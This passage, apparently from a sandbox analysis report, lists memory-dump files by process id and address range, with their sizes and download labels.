8KB

Download
memory/4620-276-0x0000017C77B48000-0x0000017C77B49000-memory.dmp

Filesize
4KB

Download
memory/4620-223-0x0000000000000000-mapping.dmp

Download
memory/4620-242-0x0000017C77B46000-0x0000017C77B48000-memory.dmp

Filesize
8KB

Download
memory/4620-230-0x0000017C77B43000-0x0000017C77B45000-memory.dmp

Filesize
8KB

Download
memory/4620-229-0x0000017C77B40000-0x0000017C77B42000-memory.dmp

Filesize
8KB

Download
memory/4788-254-0x0000000000000000-mapping.dmp

Download
memory/4892-238-0x0000000000000000-mapping.dmp

Download
memory/4916-304-0x0000000000000000-mapping.dmp

Download
memory/4920-293-0x0000000000000000-mapping.dmp

Download
memory/5036-246-0x0000000000000000-mapping.dmp

Download
memory/5060-253-0x0000000000000000-mapping.dmp

Download
memory/5100-275-0x000001D9F7128000-0x000001D9F7129000-memory.dmp

Filesize
4KB

Download
memory/5100-225-0x000001D9F7123000-0x000001D9F7125000-memory.dmp

Filesize
8KB

Download
memory/5100-218-0x0000000000000000-mapping.dmp

Download
memory/5100-224-0x000001D9F7120000-0x000001D9F7122000-memory.dmp

Filesize
8KB

Download
memory/5100-237-0x000001D9F7126000-0x000001D9F7128000-memory.dmp

Filesize
8KB

Download
memory/5188-259-0x0000000000000000-mapping.dmp

Download
memory/5200-298-0x0000000000000000-mapping.dmp

Download
memory/5264-297-0x0000000000000000-mapping.dmp

Download
memory/5284-260-0x0000000000000000-mapping.dmp

Download
memory/5304-302-0x0000000000000000-mapping.dmp

Download
memory/5356-261-0x0000000000000000-mapping.dmp

Download
memory/5368-262-0x0000000000000000-mapping.dmp

Download
memory/5432-306-0x0000000000000000-mapping.dmp

Download
memory/5556-266-0x0000000000000000-mapping.dmp

Download
memory/5560-307-0x0000000000000000-mapping.dmp

Download
memory/5564-299-0x0000000000000000-mapping.dmp

Download
memory/5632-268-0x0000000000000000-mapping.dmp

Download
memory/5676-270-0x0000000000000000-mapping.dmp

Download
memory/5720-271-0x0000000000000000-mapping.dmp

Download
memory/5804-311-0x0000000000000000-mapping.dmp

Download
memory/5812-277-0x0000000000000000-mapping.dmp

Download
memory/5824-310-0x0000000000000000-mapping.dmp

Download
memory/5864-279-0x0000000000000000-mapping.dmp

Download
memory/5936-280-0x0000000000000000-mapping.dmp

Download
memory/5988-281-0x0000000000000000-mapping.dmp

Download
memory/6008-282-0x0000000000000000-mapping.dmp

Download
memory/6052-283-0x0000000000000000-mapping.dmp

Download
memory/6124-284-0x0000000000000000-mapping.dmp

Download